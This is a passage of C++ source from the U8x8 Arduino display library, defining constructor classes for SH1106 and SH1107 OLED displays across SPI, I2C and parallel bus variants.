u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_6800 : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_8080 : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_SW_I2C : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1106_72X40_WISE_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_72X40_WISE_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1106_64X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_64X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_64X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_64X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_64X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_64X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_64X32_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_64X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1106_64X32_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_64X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1106_64X32_6800 : public U8X8 {\n  public: U8X8_SH1106_64X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_64X32_8080 : public U8X8 {\n  public: U8X8_SH1106_64X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_64X32_SW_I2C : public U8X8 {\n  public: U8X8_SH1106_64X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1106_64X32_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_64X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1106_64X32_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_64X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_64X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_64X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_64X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_64X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_64X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_64X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_64X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_64X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_64X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_64X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_64X128_6800 : public U8X8 {\n  public: U8X8_SH1107_64X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_64X128_8080 : public U8X8 {\n  public: U8X8_SH1107_64X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_64X128_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_64X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_64X128_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_64X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_64X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_64X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_6800 : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_8080 : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_6800 : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_8080 : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_SEEED_96X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_SEEED_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_SW_I2C : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1107_128X80_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X80_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X80_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X80_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X80_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X80_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1107_128X80_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X80_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1107_128X80_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1107_128X80_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1107_128X80_6800 : public U8X8 {\n  public: U8X8_SH1107_128X80_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t 